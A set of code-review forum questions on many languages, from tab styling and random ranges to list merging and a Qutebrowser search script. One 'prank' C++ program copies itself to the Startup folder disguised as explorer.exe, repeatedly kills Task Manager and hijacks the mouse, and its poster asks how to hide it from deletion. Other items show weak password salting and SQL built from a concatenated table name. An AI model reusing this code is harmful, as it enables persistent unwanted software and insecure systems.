    document.getElementById('tab6').style.backgroundColor = "silver";
    return false;
}

function changeColor2() {
    document.getElementById('tab1').style.backgroundColor = "silver";
    document.getElementById('tab2').style.backgroundColor = "white";
    document.getElementById('tab3').style.backgroundColor = "silver";
    document.getElementById('tab4').style.backgroundColor = "silver";
    document.getElementById('tab5').style.backgroundColor = "silver";
    document.getElementById('tab6').style.backgroundColor = "silver";
    return false;
}

...
...

... and it goes on for the 6 tabs. I'm sure this can be reduced, I just don't know how.


texts:
Random range with no repeat and efficient for small subset.
But still survives if return most or all.

This comes up poker simulation as you typically only deal 1/3 the deck.

The idea is to use Random and HashSet to determine what has gone out.
When the first or last goes out then trim the range to reduce the number of Random.Next that have already gone out.

Could remove from HashSet that go outside of range but see little or no value in that.  It would reduce size but at a compute cost.  I thought Remove was O(n) but just looked it up and it is O(1) so it might be a good practice.

Ran a time and with 1 million return all (where it is weak) it was 4.7 seconds.  Just return 1/4 of the million then 0.2 seconds. Tested versus a full Fisher Yates shuffle and the break even point is about 1/4.  On the full then shuffle is about 5x faster.

//test
HashSet<int> testRandomSmallSubsetHash = new HashSet<int>();
RandomSmallSubsetHash randomSmallSubsetHash = new RandomSmallSubsetHash();
int randomSmall;
while ((randomSmall = randomSmallSubsetHash.Next()) != -1)
{
    Debug.WriteLine(randomSmall);
    if (!testRandomSmallSubsetHash.Add(randomSmall))
        Debug.WriteLine("ERROR ");
}
Debug.WriteLine("count " + testRandomSmallSubsetHash.Count);
//end test

public class RandomSmallSubsetHash
{
    private Random rand = new Random();
    private int rangeCount;
    private int range;
    private int start;
    private HashSet<int> used = new HashSet<int>();
    public int CountLeft { get { return rangeCount - used.Count; } }
    public bool HasNext { get { return (CountLeft > 0); } }
    public int Next()
    {
        if (!HasNext)
            return -1;

        int next = rand.Next(start, range + start);  //in .NET end is not inclusive
        while (used.Contains(next))
        {
            next = rand.Next(start, range + start);
        }
        //Debug.WriteLine(next);
        if (next == start + range - 1)
        {
            //can trim down the top to eliminte bad guesses
            range--;
            while (used.Contains(start + range))
            {
                range--;
            }
        }
        else if (next == start)
        {
            //can trim down bottom to eliminate bad guesses
            range--;
            start++;
            while (used.Contains(start))
            {
                range--;
                start++;
            }
        }
        used.Add(next);
        return next;
    }
    public void Reset (int RangeCount = 100, int Start = 1)
    {
        if (RangeCount< 1)
            throw new IndexOutOfRangeException();
        rangeCount = RangeCount;
        range = RangeCount;
        start = Start;
        used.Clear();
    }
    public void Reset()
    {
        Reset(rangeCount, start);
    }
    public RandomSmallSubsetHash(int RangeCount = 100, int Start = 1)
    {
        Reset(RangeCount, Start);
    }
}


texts:
I have a small Coldfusion section of our site that all uses similar JavaScript and CSS files and page design. The code is currently repeated for each file, and I'd like to factor it out and set something up using a master page and templates.

Master.cfm page:

<cfinclude template="_lockedPage.cfm" />

<!DOCTYPE HTML>

        <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
        <title>#title#</title>
        ... all script and css links here ...

        ... etc ...

                Back

<cfoutput>#title#</cfoutput>

                Home

                <cfinclude template="#pageName#.cfm" />

Then a page example would be something like this. CustomerSearch.cfm:

<cfscript>
    title = "Customer Search";
    pageName = "_customer-search";
    include "Master.cfm";
</cfscript>

And then I would need a _customer-search.cfm page that would include all the body content for the page.

This means that I would need 2 files for every page that we currently have - the outer page that defines the variable and includes the master page, and the template page that has the individual page content.

Is this a good logical design? Is there anyway to improve it?


texts: Secure row insertion using a position-based prepared statement

texts:
I have the following function to insert a new row into a table:

/**
 * Insert row into the designated table
 *
 * Function to add a new row into the designated table
 *
 * @param str $table            Table name to insert the row
 * @param arr $data             Array with values
 *
 * @return int row              Last inserted ID
 */
public function database_add_row($table, $data) {

    try {
        $fields = '';
        foreach ($data as $field) {
            $fields.= '?,';
        }
        $fields = substr($fields,0,-1);
        $sql = "INSERT INTO ".$table." VALUES(".$fields.")";
        $sth = $this->database->prepare($sql);
        $sth->execute($data);
        return $this->database->lastInsertId();

    }
    catch(PDOException $e) {
        throw new userman_Exception("
ups!

". $e->getMessage());
    }

}

I'm counting the values in the array to prepare the query, and adding placeholders for each position, then subtracting the last comma from the generated string. This avoids using the field names, which leads to a table agnostic function,

Considerations:

All columns values are passed with the $data array.
The function is designed to insert on any table with any number of columns.

My question is:

Is my method adequate, leading to a secure row insertion?


texts: Lazily combine ranges dependent on modulo with one loop

texts:
I have a positive integer n. I want to lazily loop over a range of integers less than n consisting of a) integers divisible by 3 (excluding zero) in reversed sorted order and b) zero and integers not divisible by 3 in any order. Is this a very stupid solution? I couldn't think of another way of doing it without having to make use two loops.

d = divisor = 3
list(itertools.chain(
    itertools.chain(*zip(*(((i),(i-1),(i-2)) for i in range(d*((n-1)//d),0,-d)))),
    (0,),range(n-1,d*((n-1)//d),-1)))

>>> n = 18
[15, 12, 9, 6, 3, 14, 11, 8, 5, 2, 13, 10, 7, 4, 1, 0, 17, 16]

>>> n = 17
[15, 12, 9, 6, 3, 14, 11, 8, 5, 2, 13, 10, 7, 4, 1, 0, 16]

>>> n = 16
[15, 12, 9, 6, 3, 14, 11, 8, 5, 2, 13, 10, 7, 4, 1, 0]

>>> n = 4
[3, 2, 1, 0]

>>> n = 3
[0, 2, 1]

>>> n = 2
[0, 1]

>>> n = 1
[0]


texts:
I just wrote this function and am wondering if it's secure enough for storing passwords in a database:

public static function hash($salt, $str) {
    $salt = md5($salt);
    $salt = '$2y$12$HfuPgoDY94nHJssqQeVLmH' . $salt . '$';

    return crypt($str, $salt);
}


texts: Patterns used for accessing geolocation API

texts:
Here's how I'm using my location component:

<LocationContainer opts={{timeout: 5000}}>
    {(address, error) => {
        if (error) {
            return
Could not determine address (why...?  {error.message})

        } else if (address) {
            return
{address.neighbourhood}, {address.city}

        } else {
            return
loading...

        }
    }}
</LocationContainer>

And here is the component itself:

import { Component } from 'react';
import axios from 'axios';

class LocationContainer extends Component {
    constructor(props) {
        super(props);
        this.state = {
            address: null,
            error: null,
        };
    }

    getLocation(opts) {
        return new Promise((resolve, reject) => {
            if ('geolocation' in navigator) {
                navigator.geolocation.getCurrentPosition(resolve, reject, opts);
            } else {
                reject('geolocation not supported');
            }
        });
    }

    async getAddress(opts) {
        let location = await this.getLocation(opts);
        let resp = await axios.get('https://nominatim.openstreetmap.org/reverse', {
            params: {
                lat: location.coords.latitude,
                lon: location.coords.longitude,
                format: 'json',
            },
        });
        return resp.data.address;
    }

    async componentDidMount() {
        try {
            let address = await this.getAddress(this.props.opts);
            this.setState({address: address});
        } catch (error) {
            this.setState({error: error})
        }
    }

    render() {
        return this.props.children(this.state.address, this.state.error);
    }
}

export default LocationContainer;

The code renders the location of the client, or an error message is displayed if it can't be found.

I have two main questions:

Is what I've done a sensible way to integrate the geolocation API into a react website?
Does the usage of LocationContainer make sense to an experienced react developer?

Would love feedback on any anti-patterns or general react coding style.


texts: Program to Check If string is Palindrome (in C)

texts:
Just wrote a program to check if a string is Palindrome. If that's true, return 1. Else, return 0. How can I improve it?

#include <stdio.h>
#include <string.h>
#include <ctype.h>

int palindrome(char *s)
{
    int i = 0, length = strlen(s) - 1, n = length;
    int boolean = 0;

    for (; i <= length && n >= 0; i++, n--) {
        if (toupper(s[i]) == toupper(s[n]))
            boolean = 1;
        else
            boolean = 0;
    }

    return boolean;
}

int main(void)
{
    char string[] = "Racecar";

    printf("%d", palindrome(string));

    return 0;
}


texts:
Given a list which can can contain elements as well as lists, write an iterator to flatten a nested list. Please make this code better and suggest any improvements.

public class FlattenIterator implements Iterator {

    private final Stack<Iterator> iteratorStack;

    private Object next;

    public FlattenIterator(List list) {
        if (list == null) {
            throw new NullPointerException();
        }

        iteratorStack = new Stack<Iterator>();
        iteratorStack.push(list.iterator());
    }

    public void remove() {
        /* Not implemented */
    }

    private void moveToNext() {
        if ((next == null) && !iteratorStack.empty()) {
            if (iteratorStack.peek().hasNext()) {
                final Object next = iteratorStack.peek().next();
                if (next instanceof Iterator) {
                    iteratorStack.push((Iterator) next);
                    moveToNext();
                } else if (next instanceof Iterable) {
                    iteratorStack.push(((Iterable) next).iterator());
                    moveToNext();
                } else if (next instanceof Array) {
                    iteratorStack.push(Arrays.asList((Array) next).iterator());
                    moveToNext();
                } else {
                    this.next = next;
                }
            } else {
                iteratorStack.pop();
                moveToNext();
            }
        }
    }

    public boolean hasNext() {
        moveToNext();
        return next != null;
    }

    public Object next() {
        moveToNext();
        if (next == null) {
            throw new NoSuchElementException();
        } else {
            Object objectToReturn = next;
            next = null;
            return objectToReturn;
        }
    }
}


texts:
I am relatively new to OOP. I have an application that requires to send some emails from the server for various use cases. I have moved my code into a Mail class to try to abstract this out. Coming from years as a functional programmer, it is becoming challenging to move into the OOP space. This class is for very generous purposes, and I do not expect to handle attachments, bcc, or any other extra mailer usages. While there are nice and handy Mail packages I can find and implement within a few minutes, I thought it would be best to create this on my own.

My class is as follows:

<?php
/**
 * Mail Class
 */

namespace Utility;

class Mailer
{
    public $sendTo;
    public $sendFrom;
    public $subject;
    public $message;
    public $headers;
    public $error = [];

    public function __construct($sendTo, $sendFrom = null, $subject, $message)
    {
        $this->sendTo = $sendTo;
        $this->sendFrom = ($sendFrom) ? $sendFrom : 'webmaster@shelter.pet';
        $this->subject = $subject;
        $this->message = $message;
        //$this->headers = $this->setHeader();
    }

    public function setTo($email, $name) {
        return $this->sendTo = $email;
    }

    public function getTo() {
        return $this->sendTo;
    }

    public function setFrom($email, $name)  {
        return $this->sendFrom = $email;
    }

    public function setSubject($subject) {
        return $this->subject = $subject;
    }

    public function getSubject() {
        return $this->subject;
    }

    public function setMessage($message) {
        $this->message = $message;
        //@TODO:string repace, etc

        return $this;
    }

    public function getMessage() {
        return $this->message;
    }

    /*public function setHeader($header, $email, $name = null) {
        $address = $this->formatHeader((string) $email, (string) $name);
        $this->headers[] = sprintf('%s: %s', (string) $header, $address);
        return $this;
    }*/

    public function setHeader() {
        $headers = 'From: '.$this->getFrom() . "\r\n" .
            'Reply-To: '.$this->getFrom() . "\r\n" .
            'X-Mailer: PHP/' . phpversion();

        $this->headers = $headers;
        return $this;
    }

    public function getFrom() {
        return $this->sendFrom;
    }

    public function send() {
        $to = $this->sendTo;
        $from = $this->sendFrom;
        $subject = $this->subject;
        $message = $this->message;
        //$headers = $this->headers;
        $headers = 'From: '.$this->getFrom() . "\r\n" .
            'Reply-To: '.$this->getFrom() . "\r\n" .
            'X-Mailer: PHP/' . phpversion();

        return mail($to, $subject, $message, $headers);
    }
}

And to implement the class I do the following in my code:

//alert admin of failed login
                $adminFailedAlert = new Mailer('email@domain.com', null, 'User Failed Login', 'A user has unsuccessfully logged in at '.Utility::getDateTime().'. You may want to look into this.' );
                $adminFailedAlert->send();

This Class works fine for me. The only issue I am having currently is creating dynamic header string - currently I just manually place them into the send() method - which is why you see the commented out header references. I have not implemented the $errors method so will work on that. I guess at this point, am I on the right path? I am also confused why I should have my getter and setter methods when I am not even using it when I implement the Class. I am also trying to overcome to obstacle of knowing when to use private or public, etc method declarations.


texts: Make website full responsive by using javascript

texts:
Currently I am using javascript to make my website full responsive,
but this is extremly painful...

I do it like this and control the behaviour of all the elements from window width 50px till 2000px. Basically I change classes with removeClass and addClass.

function responsiveDesign()
{
  var wh = $(window).height();
  var ww = $(window).width();

  if (ww <= 50) {

  } else if (ww <= 100) {
    ...
  } else if (ww <= 150) {
    ...
  } else if (ww <= 200) {
    ...
  } else if (ww ....
    ...
  //and so on, until 2000
}

$(window).resize(function() {
    responsiveDesign();
});

responsiveDesign();

I have multiple thousands lines of javascript already...
I know I could also use @media but then I would also need thousands of code lines if I want a perfect responsive website.

e.g.

@media only screen and (max-width: 767px) {

@media only screen and (min-width: 710px) and (max-width: 768px) {

}

Is there a better way, or is it normal that we need so much lines of code for full responsive websites?


texts:
Qutebrowser uses search engines similar to DuckDuckGo's Bangs to facilitate searching.
The config.py file for the browser contains a search engine Python dictionary.
Each key is a search engine, and the corresponding value is a template string.
When a search engine is used, every {} in its template is replaced by the search term, and the resulting url is visited.

A dictionary with identical keys can be defined anywhere in config.py, so it's important for me to get only the key-value pairs in the c.url.searchengines dictionary.
The relevant section of my config.py looks like this:

## Search engines which can be used via the address bar. Maps a search
## engine name (such as `DEFAULT`, or `ddg`) to a URL with a `{}`
## placeholder. The placeholder will be replaced by the search term, use
## `{{` and `}}` for literal `{`/`}` signs. The search engine named
## `DEFAULT` is used when `url.auto_search` is turned on and something
## else than a URL was entered to be opened. Other search engines can be
## used by prepending the search engine name to the search term, e.g.
## `:open google qutebrowser`.
## Type: Dict
# c.url.searchengines = {'DEFAULT': 'https://duckduckgo.com/?q={}'}
c.url.searchengines = {
                       'DEFAULT': 'https://duckduckgo.com/?q={}',
                       'ddg'    : 'https://duckduckgo.com/?q={}',
                       'gh'     : 'https://github.com/search?q={}',
                       'w'      : 'https://en.wikipedia.org/?search={}',
                       }

## Page(s) to open at the start.

I wrote this script to mimic the behavior of Qutebrowser's search engines in the terminal:

#!/usr/bin/env bash

set -eu

search_engine_file="$HOME/.config/qutebrowser/config.py"
search_engine_start="c.url.searchengines = {"

# use $1 if available; otherwise use default search engine
search_engine=${1:-"DEFAULT"}
# rest of the arguments are the search term.
search_term="${@:2}"

# add surrounding single quotes if not there
if [[ $search_engine != "'*" ]]; then
    search_engine="'$search_engine"
fi
if [[ $search_engine != "*'" ]]; then
    search_engine="$search_engine'"
fi

# get lines after start of search engines until empty line
raw_search_engines=$(awk "/$search_engine_start/,/^$/" $search_engine_file)

if [[ $raw_search_engines == *$search_engine* ]]; then
    # get lines containing the search engine in single quotes
    search_engine_lines=$(echo "$raw_search_engines" | grep $search_engine)

    # isolate line with search engine definition
    definition=$(echo "$search_engine_lines" | grep --basic-regexp ',$')

    # extract template from single quotes
    template=$(echo $definition | awk --field-separator "'" '{print $4}')

else
    echo >&2 Search engine not found.
    exit 1
fi

# print template if no search term is given
if [[ -z $search_term ]]; then
    echo $template
    exit 0
fi

# replace all {}'s with search term
echo $template | sed "s/{}/$search_term/g"

I'm not familiar with code style conventions and best practices in Bash scripts.
sed and awk look very powerful, but I don't know when their use is appropriate.
I also want to know how I can change the script to be POSIX-compliant.

Any suggestions for improving my script are very welcome.


texts: A Scala script for beautify scientific notation strings from Excel

texts:
Excel renders scientific notation in the engineering fashion, e.g. “4.2E-5”. That’s OK, but when you are writing a scientific paper, it’s likely that you want it to look like this: “4.2×10⁻⁵”.

I have come up with a Scala script that does the job perfectly well:

import java.awt.Toolkit
import java.awt.datatransfer.{StringSelection, DataFlavor}

/**
 * Created by IDEA on 13/10/15.
 */
object Scientific {
  val superscriptMap = {
    var tmp = collection.mutable.Map(
      '0' -> '\u2070',
      '1' -> '\u00b9',
      '2' -> '\u00b2',
      '3' -> '\u00b3'
    )
    val x = ('4' to '9').zip('\u2074' to '\u2079').toList
    for ((k, v) <- x) {
      tmp.update(k, v)
    }
    tmp.toMap
  }
  type ExponentTuple = (Int, String)

  def dealWithSign(s: String): ExponentTuple = {
    if (s.head == '+') {
      (1, s.tail.dropWhile(_ == '0'))
    } else if (s.head == '-') {
      (-1, s.tail.dropWhile(_ == '0'))
    } else {
      (1, s)
    }
  }

  def snBeautify(s: String): String = {
    val s1 = s.split("[Ee]").take(2)
    require(s1.length == 2)
    val coefficient = s1(0)
    val (sign, exponent) = dealWithSign(s1(1))
    val part1 = coefficient + '\u00d7' + "10"
    val part2 = exponent.map(superscriptMap(_))
    // if the number is negative, provide a superscript minus
    if (sign < 0) part1 + '\u207b' + part2
    else part1 + part2
  }

  def snBeautify1(s: String): String = {
    s.split("\\s").map(snBeautify(_)).mkString("\n")
  }

  def snBeautify(printOut: Boolean = true): Unit = {
    val toolkit = Toolkit.getDefaultToolkit
    val clipboard = toolkit.getSystemClipboard
    val s1 = clipboard.getData(DataFlavor.stringFlavor).asInstanceOf[String]
    val s2 = snBeautify1(s1)
    val s2Select = new StringSelection(s2)
    if (printOut) println(s2)
    clipboard.setContents(s2Select, s2Select)
  }
}

object Test1 {
  //  val s = List("4.2E+5", "4.2e5", "4.2e-5", "4.2E-5", "-4.2e-5")
  //  s.map(snBeautify(_))
  //  snBeautify1(s.mkString("\n"))
  //  val s1 = "1.74E-11\n2.72E-12\n2.20E-11\n2.20E-11\n2.20E-11\n2.20E-11\n2.20E-11\n2.20E-11\n2.20E-11\n2.20E-11\n2.20E-11\n6.42E-12\n7.13E-11\n4.02E-11\n7.84E-12\n5.87E-12\n1.55E-11\n1.07E-10\n1.04E-10\n3.81E-11\n4.46E-11\n4.46E-11\n4.46E-11\n4.46E-11\n1.23E-10\n2.45E-11\n8.24E-12"
  //  snBeautify1(s1)
  // Copy the cells you want to reformat first
  Scientific.snBeautify()
}

Not a native Excel solution, but at least Scala is much nicer than VBA.

You can copy the cells you want to reformat and then run the snBeautify function, the reformatted numbers now sits in the clipboard ready for you to paste into Excel or Word.

One advantage of this solution is that it's equally applicable to LibreOffice or OpenOffice.

You can also easily modify this into a shell script and bind it to a certain keyboard shortcut.

Any suggestion for improvement of any kind is welcome.


texts: "Silly program" for moving the mouse and doing other things

texts:
I've made a simple program that moves the mouse and do other silly stuff. I want you to look at it and tell me what can I do better/less space and also what can I add. I want to prank my friends.

#include <cstdio>
#include <windows.h>
#include <conio.h>
#include <tlhelp32.h>
#include <iostream>
#include <time.h>
#include <string>
#include <shlobj.h>
#include <string.h>

using namespace std;

void killProcess(const char *processName);
void mainFrame();

int main()
{
    char lpszPath[MAX_PATH];
    SHGetSpecialFolderPath(NULL, lpszPath, CSIDL_STARTUP, false);
    /* ^ find startup folder path ^ */

    char fullPath[500];
    char const *copyName = "\\explorer.exe";
    strcpy(fullPath, lpszPath);
    strcat(fullPath, copyName);
    /* ^ add filename to the startup path (for copying) ^ */

    char fileName[ MAX_PATH ];
    GetModuleFileName(NULL, fileName, MAX_PATH);
    /* ^ find the path of running program itself ^ */

    CopyFile(fileName, fullPath, 0);
    /* ^ copy the program itself to startup ^ */

    //FreeConsole();
    /* ^ hide the console window ^ */
    srand(time(NULL));
    mainFrame();
}

void mainFrame()
{
    int mouseX, mouseY; char key;
    while(key!='e') /* you can close the program with 'e' (if window not hidden) */
    {
        while(!kbhit())
        {
            mouseX= rand() % 1440; mouseY= rand() % 900;

            SetCursorPos(mouseX, mouseY);
            Beep(12000, 100);

            killProcess("taskmgr.exe");
            /* ^ kill task manager if running ^ */
        }
        key= getch();
        /* ^ get the character from keyboard ^ */
    }
}

//code below is not mine (killing a process):
void killProcess(const char *processName)
{
    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
    PROCESSENTRY32 pEntry;
    pEntry.dwSize = sizeof (pEntry);
    BOOL hRes = Process32First(hSnapShot, &pEntry);
    while (hRes)
    {
        if (strcmp(pEntry.szExeFile, processName) == 0)
        {
            HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
                                          (DWORD) pEntry.th32ProcessID);
            if (hProcess != NULL)
            {
                TerminateProcess(hProcess, 9);
                CloseHandle(hProcess);
            }
        }
        hRes = Process32Next(hSnapShot, &pEntry);
    }
    CloseHandle(hSnapShot);
}

I know that it's easy to get rid of: just open cmd, navigate to startup, delete the file and reboot. When I give hidden and system attributes to the file it doesn't launch at startup. Is there a way to block the user from deleting/seeing it?


texts: Re-using this piece of code for different objects

texts:
To give a little context before showing the problem:

I am creating a RESTful web application. A User can have multiple addresses, emails, phones and projects. Each of these is represented similar to the following object model, (Address in this case).

public class Address {
    String type; //home or work etc.
    String streetname;
    /*some more things*/

    Privacy privacy; //Privacy object
}

Every model contains a privacy object since a user can decide which of his addresses may be set to private (for instance only show the address to his contacts). The privacy object contains the following:

public class Privacy {
    @Id
    private String id;
    private boolean showForNonContacts;
    private boolean onlyShowForGroups;

    /*
    getters and setters
    */
}

The problem:

In my controller, I am fetching the userprofile object which contains these models. For every model, I have to check the following:

List<Address> visibleAddresses = new ArrayList<Address>();
for(Address address : userProfile.getAddresses()) {
    if(address.getPrivacy().isShowForNonContacts() || hasContact) {
        visibleAddresses.add(address);
    }
    userProfile.setAddresses(visibleAddresses);
}

//Same code repeats but now for email/phone/projects

I have to do this for the emails, phones and projects. This clearly is a bad design and I would like to make it better and cleaner than repeating the above code for every model.
Does anybody have any tip of how I can make the above code work? I thought of using generics, interfaces where this method would be some what common, but I really don't know since I'd like to keep the model class clean.

Any tips/advice is greatly appreciated.

The UserProfile class should still contain a List for instance, since my db mapper (MongoDB/Spring data) has to recognize it as an embedded object.

EDIT:
Based on the answer of Greg Burghardt, I decided to create a generic class called GenericCollection. Each of the models implements a separate interface.
GenericCollection extends this interface and makes use of the method which controls the privacy (as defined in the interface).

Now the code is a lot cleaner.


texts:
The purpose of the code is to merge two ordered lists (list 1 : 5 integers, list 2 : 8 integers) into another third ordered list, whilst maintaining their order, while entries that appear in more than one list also appear multiple times in the result.

Example:

An input of List1 (Feld1): 3 6 7 9 10, merged with an input of List2(Feld2): 2 7 11 12 15 17 20 21 would result into a third list(Ergebnisfeld) of:
2 3 6 7 7 9 10 11 12 15 17 20 21.

This code works well on my computer, but since I am pretty new to this, I would like to ask, if this is:

The most efficient way to do this (e.g. is the combination of a while and a repeat/until loop the best code for this, or is a for loop better)
If there are any problems with the code, which I am too inexperienced to see, but which might cause me problems later

 program merge (input, output);
    { Reads two ordered lists of integers keyed in by the user, and merges
them into a third ordered list, without checking their order.
    if the input is not sorted, the result will be undefined.}

const
  FELDLAENGE1 = 5;
  FELDLAENGE2 = 8;
  ERGEBNISFELDLAENGE = 13; { FELDLAENGE1 + FELDLAENGE2}

type
  tFeld1 = array [1..FELDLAENGE1] of integer;
  tFeld2 = array [1..FELDLAENGE2] of integer;
  tErgebnisFeld = array [ 1..ERGEBNISFELDLAENGE] of integer;

var
  Feld1 : tFeld1;
  Feld2 : tFeld2;
  ErgebnisFeld : tErgebnisFeld;
  i : integer;
  j : integer;
  k : integer;
begin
  { read ordered lists (Felder) }
  writeln (' Please key in', FELDLAENGE1:2, ' values in ascending order for
the first list. ');
  for i := 1 to FELDLAENGE1 do
      readln (Feld1[i]);
  writeln (' Please key in', FELDLAENGE2:2, ' values in ascending order for
the second list. ');
  for j := 1 to FELDLAENGE2 do
      readln (Feld2[j]);
  { Merge Feld1 and Feld2 into ErgebnisFeld}
  i :=1;
  j :=1;
  k := 1;

  while (i <= FELDLAENGE1) and (j <= FELDLAENGE2) do
        if Feld1[i] <= Feld2[j] then
           begin
           ErgebnisFeld[k] := Feld1[i];
           i := i+1;
           k := k+1
          end
        else
        begin
          ErgebnisFeld[k] := Feld2[j];
          j := j +1;
          k := k +1
        end;
  { add remaining values to ErgebnisFeld}
  if i > FELDLAENGE1 then
     repeat
           ErgebnisFeld[k] := Feld2[j];
           j := j + 1;
           k := k + 1
     until k = ERGEBNISFELDLAENGE+1
  else
      repeat
            ErgebnisFeld[k] := Feld1[i];
            i := i + 1;
            k := k + 1
      until k = ERGEBNISFELDLAENGE+1;

  writeln ('The merged list is: ');
  for k := 1 to ERGEBNISFELDLAENGE do
      write (ErgebnisFeld[k], ' ');
  writeln;
  readln;

end.


texts: Set up event on class and initialize state

texts:
Very similar to this question, I'm curious about common patterns/best practices for handling events in coffeescript classes, particularly when you also need to call the event handlers immediately to initialize state.

Unlike the answer to the question above though, let's assume though that you do need/want a class.

Here's a contrived example:

class @Foo
  constructor ->
    @bar = new Bar()

    @checkbox = $('#my-checkbox')

    # set up the events
    @checkbox.click =>
      @bar.clickHandler(@checkbox)
      @clickHandler(@checkbox)

    # initialize state
    @bar.clickHandler(@checkbox)
    @clickHandler(@checkbox)

  clickHandler: ($elt) ->
    if $elt.is(':checked')
      # something
    else
      # something else

$ ->
  window.foo = Foo.new

Is there a usual pattern for cases like this where you want the event function called both when the event fires and when the class loads? I really hate the duplication but I'm not sure how to remove it. Any other suggestions?


texts:
I'm trying to build a class that connects to the database. It does the job but it is not very elegant. I also have no understanding of singleton class or dependency injection.

Is this safe? Can you explain how I can make this more elegant in simple language?

Also, I use the $logs array instead of commenting. I got some remarks on it, while it makes debugging easy for me (I call print_r() on the logs of certain classes during development). What do you guys think?

<?php
  class database{
    private $host = DB_HOST;
    private $user = DB_USER;
    private $pass = DB_PASS;
    private $name = DB_NAME;

    public $db_connection = false;
    public $logs = array();

    public function __construct(){
      $this->logs[] = "Checking if the database is already open.";
            if($this->db_connection != false){
                $this->logs[] = "The database connection is already open.";
            }
            else{
                $this->logs[] = "The database connection is not already open.";
                try{
                    $this->db_connection = new PDO('mysql:host='. DB_HOST .';dbname=' . DB_NAME .';charset=utf8', DB_USER, DB_PASS);
                    $this->logs[] = "A new database connection has been established.";
                }
                catch (PDOException $e){
                    $this->logs[] = "A new database connection could not be established.";
                }
            }
    }
  }
?>

I use the class like this:

if($db_connection){
 $query_search = $db_connection->prepare('SELECT * FROM ...');
 $query_search->bindValue(':sqlvar', $phpvar, PDO::PARAM_STR);
 $query_search->execute();
 $query_result = $query_search->fetch();
}
else{
 // Failed connection
}


texts: Kattis "Hitting the Targets" utilizing a polymorphic relashionship

texts:
In order to learn C++ I have written a solution to this Kattis "Hitting the Targets" problem

Basically the program is to accept some shapes (circles and rectangles) on std in and a set of points and output the number of shapes that include each point.

Seeing as it is my first C++ program I'm sure I have made significant mistakes.

#include <iostream>
#include <regex>
#include <string>
#include <vector>
class Shape
{
public:
    Shape()
    {
    }
    ~Shape()
    {
    }
    virtual bool contains(int, int) = 0;
};

class Circle : public Shape
{
private:
    int x1, y1, r;

public:
    Circle(const int _x1,const int _y1,const int _r)
    {
        x1 = _x1;
        y1 = _y1;
        r = _r;
    }
    bool contains(const int x,const int y) override
    {
        int x_dist = std::abs(x - x1);
        int y_dist = std::abs(y - y1);
        return x_dist * x_dist + y_dist * y_dist <= r * r;
    }
    ~Circle()
    {
    }
};

class Rectangle : public Shape
{
private:
    int x1, x2, y1, y2;

public:
    Rectangle(const int _x1,const int _y1,const int _x2,const int _y2)
    {
        x1 = _x1;
        x2 = _x2;
        y1 = _y1;
        y2 = _y2;
    }
    bool contains(const int x,const int y) override
    {
        return x >= x1 && x <= x2 && y >= y1 && y <= y2;
    }
    ~Rectangle()
    {
    }
};

int main(void)
{
    std::string line;
    std::getline(std::cin, line);
    int num_shapes = std::stoi(line);
    std::vector<std::unique_ptr<Shape> > shapes;
    std::regex rect_pat{ R"(rectangle (-?\d+) (-?\d+) (-?\d+) (-?\d+))" };
    std::regex circ_pat{ R"(circle (-?\d+) (-?\d+) (-?\d+))" };
    for(int a = 0; a < num_shapes; a++) {
        std::getline(std::cin, line);
        std::smatch matches;
        if(std::regex_search(line, matches, rect_pat)) {
            std::unique_ptr<Shape> rect(new Rectangle(std::stoi(matches[1]), std::stoi(matches[2]), std::stoi(matches[3]), std::stoi(matches[4])));
            shapes.push_back(std::move(rect));

        } else if(std::regex_search(line, matches, circ_pat)) {

            std::unique_ptr<Shape> circ(
                new Circle(std::stoi(matches[1]), std::stoi(matches[2]), std::stoi(matches[3])));
            shapes.push_back(std::move(circ));
        }
    }
    std::getline(std::cin, line);

    int num_points = std::stoi(line);
    for(int a = 0; a < num_points; a++) {
        int x, y;
        std::cin >> x >> y;
        int num_containing = 0;

        for(std::vector<int>::size_type i = 0; i != shapes.size(); i++) {
            if((shapes[i]->contains)(x, y)) {
                num_containing++;
            }
        }
        std::cout << num_containing << '\n';
    }
    return 0;
}

I would have preferred to use count_if with a lambda rather than a for loop to count the number of shapes containing the point in order to improve readability but couldn't get it to work.

I'm also quite unsure if my use of unique_ptr and how I parse input is really optimal.


texts: Outputting results from a conditional row count across multiple tables

texts:
Follow up question for: Conditional row count across 4 tables

After getting some excellent help from 200_success, i managed to output the SUM() total of my query using the following code:

get_results returns standard mysqli_assoc_array:

$row = $this->get_results($query);
$sum = $row[0];
 foreach($sum as $sum) {
    echo $sum;
}

Is this the best way to handle the result, are there any drawbacks / performance hits to doing it this way, how would you handle this querys result?

Query

$query = "SELECT SUM(inactive_count) AS inactive_count
FROM (
    SELECT COUNT(article_active) AS inactive_count
        FROM wcx_articles WHERE article_active = 0
    UNION ALL
    SELECT COUNT(video_active)
        FROM wcx_videos WHERE video_active = 0
    UNION ALL
    SELECT COUNT(app_active)
        FROM wcx_apps WHERE app_active = 0
    UNION ALL
    SELECT COUNT(link_active)
        FROM wcx_links WHERE link_active = 0
) AS wcx_objects";


texts: Parse a substring out of string, allocate memory accordingly

texts:
I have written the following code in order to:

Find begin and end of FTP user and password from a given URL (ftp://[user[:password]@]host[:port]/url-path)
Allocate memory to hold this string
Copy the sub-string into the allocated memory

Here is the code for your review:

static char * swd_parseUsrPass(void)
{
    char *usr_pass = NULL;
    char *url_str = NULL;
    char *beginIndx = NULL;
    char *endIndx = NULL;
    int str_len = 0;

    url_str = getURLaddr();

    /* Find begin and end indexs */
    beginIndx = url_str + strlen(FTP_PREFIX);
    endIndx = strchr(beginIndx, '@');

    if ((endIndx == NULL) || endIndx <= beginIndx) {
        printf("Could not locate user and password in URL\n");
        return NULL;
    }

    str_len = endIndx - beginIndx;

    /* Allocate maximum possible string */
    usr_pass = malloc((sizeof(char) * str_len) + 1);
    if (usr_pass == NULL) {
        printf("Failed to allocated memory!\n");
        return NULL;
    }

    /* Copy user and password to new string */
    strncpy(usr_pass, beginIndx, str_len);
    *(endIndx + 1) = '\0';

    return usr_pass;
}


texts: Is my unity component validation overkill?

texts:
Unity scripts need access to components they will be using, my solution here guarantees that a script will have a valid reference to a component it needs, but is this solution overkill, or hard to discern intention from?
Note: null coalescence operators would be cleaner but cannot be used for unity objects or components for terrible reasons.
using System.Collections;
using System.Collections.Generic;
using UnityEngine;

[RequireComponent(typeof(Rigidbody))]  // disallows deletion of component from editor
public class CubeControll : MonoBehaviour
{
    [SerializeField, HideInInspector]
